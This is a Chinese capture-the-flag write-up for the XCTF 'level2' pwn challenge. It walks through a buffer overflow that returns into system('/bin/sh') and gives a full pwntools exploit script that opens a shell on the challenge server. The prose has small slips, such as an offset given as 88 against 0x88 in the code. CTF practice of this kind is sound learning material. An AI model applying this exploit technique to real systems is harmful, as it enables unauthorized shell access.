xctf-level2
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055
拿到题目,查看一下相关信息:32位,开启了NX
放入ida查看:
代码比较简单,进入vulnerable_function()查看,程序的功能是输入一段文字,显示Hello World!
我们可以通过read函数,溢出到callsystem的位置,执行ststem('/bash/sh'),拿到shell权限
唔,这里附带一个链接知识:https://blog.csdn.net/qq_38990949/article/details/82895975
我们可以知道,payload = 'a' * (offset + 4) + sys_addr + ret_add + sh_addr
根据这个公式,offset为88,我们只为了取得shell,ret_add随便写就行了,需要找到sys_addr和sh_addr的地址
查找知识,看到这个寻找的方法:
sys_addr = elf.symbols['system'] sh_addr = elf.search('/bin/sh').next()
这样就可以写exp了:
# -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' #cnn = process('./level2') cnn = remote('111.198.29.45',52271) elf = ELF('./level2') system_addr = elf.symbols['system'] binsh_addr = elf.search('/bin/sh').next() payload = 'a'*0x88+'a'*0x4 + p32(system_addr) + p32(4) + p32(binsh_addr) cnn.sendlineafter('Input:',payload) cnn.interactive()
通过ls命令,然后cat flag就能获得flag
总结:推荐一波小知识:https://blog.csdn.net/qq_38990949/article/details/82895975
// 伪代码 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C(int arg_c1,int arg_c2) ------------------------------------- // B的压栈流程 ---> ESP buf[128] EBP return //-->fake_addr_A arg_b1 //-->4006b0 addr_pop_pop_ret arg_b2 arg_a1 //pop r14 arg_b3 arg_a2 //pop r15 ret // --->fake_addr_C 0 // --->C的返回地址,现在没用了 arg_c1 arg_c2 -->EBP